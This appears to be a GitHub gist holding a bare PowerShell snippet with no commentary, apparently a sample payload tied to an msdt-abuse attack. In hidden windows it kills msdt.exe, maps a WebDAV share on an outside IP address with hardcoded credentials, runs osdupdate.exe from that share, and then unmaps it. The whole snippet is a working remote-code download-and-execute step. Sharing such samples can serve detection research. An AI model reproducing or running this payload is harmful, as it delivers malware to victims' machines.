Skip to content

Instantly share code, notes, and snippets.

@Samirbous
Created June 1, 2022 17:40
Show Gist options
  • Save Samirbous/30ef851399313eac9150a1becf511002 to your computer and use it in GitHub Desktop.
Save Samirbous/30ef851399313eac9150a1becf511002 to your computer and use it in GitHub Desktop.
$cmd="C:\windows\system32\cmd.exe";
Start-Process $cmd -windowstyle hidden -ArgumentList "/c taskkill /f /im msdt.exe";
Start-Process $cmd -windowstyle hidden -ArgumentList "/c net use z: \\5.206.224.233\webdav\ /user:user
`$RFVbgtyuJ32D && z:\osdupdate.exe && net use z: /delete ";
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment